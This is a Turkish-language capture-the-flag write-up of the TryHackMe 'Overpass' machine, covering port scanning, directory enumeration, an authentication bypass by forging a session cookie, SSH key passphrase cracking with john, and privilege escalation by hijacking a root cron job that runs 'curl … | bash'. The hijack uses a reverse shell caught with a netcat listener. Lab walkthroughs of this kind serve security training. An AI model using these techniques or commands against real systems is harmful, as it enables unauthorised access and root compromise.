Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Overpass” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.128.183
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-10 12:08 +03
Nmap scan report for 10.10.128.183
Host is up (0.072s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2 — Dizin taraması yapıyorum.
[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.128.183/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.128.183/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/10 12:11:59 Starting gobuster in directory enumeration mode
===============================================================
/aboutus (Status: 301) [Size: 0] [--> aboutus/]
/admin (Status: 301) [Size: 42] [--> /admin/]
/css (Status: 301) [Size: 0] [--> css/]
/downloads (Status: 301) [Size: 0] [--> downloads/]
/img (Status: 301) [Size: 0] [--> img/]
/index.html (Status: 301) [Size: 0] [--> ./]
3 — “/admin” dizinine gittiğim zaman bir giriş ekranı ile karşılaşıyorum. Sayfa kaynağını incelediğim zaman “login.js” adında bir dosya görüyorum. “login.js” dosyasını inceliyorum. Bu dosya giriş bilgilerini kontrol edip yanlışsa uyarı verip doğruysa “SessionToken” isminde bir cookie oluşturuyor. Bu cookieyi elle kendim oluşturup başarılı bir şekilde giriş yapıyorum. Giriş yaptıktan sonra bana bir RSA anahtarı veriyor. “james” adında bir kullanıcıdan bahsediyor.
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
Since you keep forgetting your password, James, I’ve set up SSH keys for you.
If you forget the password for this, crack it yourself. I’m tired of fixing stuff for you.
Also, we really need to talk about this “Military Grade” encryption. – Paradox
*CENSORED*
4 — john aracı ile RSA anahtarının şifresini kırıyorum. SSH bağlantısını kurduktan sonra ilk bayrağı elde ediyorum.
[root:/home/alper/Desktop/TRYHACKME]# nano id_rsa
[root:/home/alper/Desktop/TRYHACKME]# ssh2john id_rsa > hash
[root:/home/alper/Desktop/TRYHACKME]# john hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
[root:/home/alper/Desktop/TRYHACKME]# john hash -w=/usr/share/wordlists/rockyou.txt
[root:/home/alper/Desktop/TRYHACKME]# john --show hash
id_rsa:*CENSORED*
1 password hash cracked, 0 left
[root:/home/alper/Desktop/TRYHACKME]# chmod 400 id_rsa
[root:/home/alper/Desktop/TRYHACKME]# ssh -i id_rsa james@10.10.128.183
*
*
james@overpass-prod:~$ ls
todo.txt user.txt
james@overpass-prod:~$ cat user.txt
*CENSORED*
5 — Cron tablosunu incelediğim zaman overpass.thm domaininden bir betiği curl edip çalıştırmaya çalıştığını görüyorum. /etc/hosts dosyasına baktığım zaman overpass.thm’in makinenin kendisinden çalıştırmaya çalıştığını görüyorum. /etc/hosts dosyasında 127.0.0.1 yerine kendi IP adresimi yazıyorum.
james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
6 — Kendi bilgisayarımda “downloads/src/buildscript.sh” dizinini oluşturup http.server modülü ile paylaşıyorum. “buildscript.sh” betiğinin içine python3 reverse shell yerleştiriyorum. Daha sonra root kullanıcısının bağlanmasını bekliyorum. Bağlantı kurulduktan sonra ikinci bayrağı da elde ediyorum.
[root:/home/alper/Downloads]# mkdir downloads
[root:/home/alper/Downloads]# cd downloads
[root:...e/alper/Downloads/downloads]# mkdir src
[root:...e/alper/Downloads/downloads]# cd src
[root:...per/Downloads/downloads/src]# nano buildscript.sh
[root:...per/Downloads/downloads/src]# chmod +x buildscript.sh
[root:...per/Downloads/downloads/src]# cd ..
[root:...e/alper/Downloads/downloads]# cd ..
[root:/home/alper/Downloads]# python -m http.server 80
[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.128.183 45876
# whoami
whoami
root
# cat /root/root.txt
cat /root/root.txt
*CENSORED*
# exit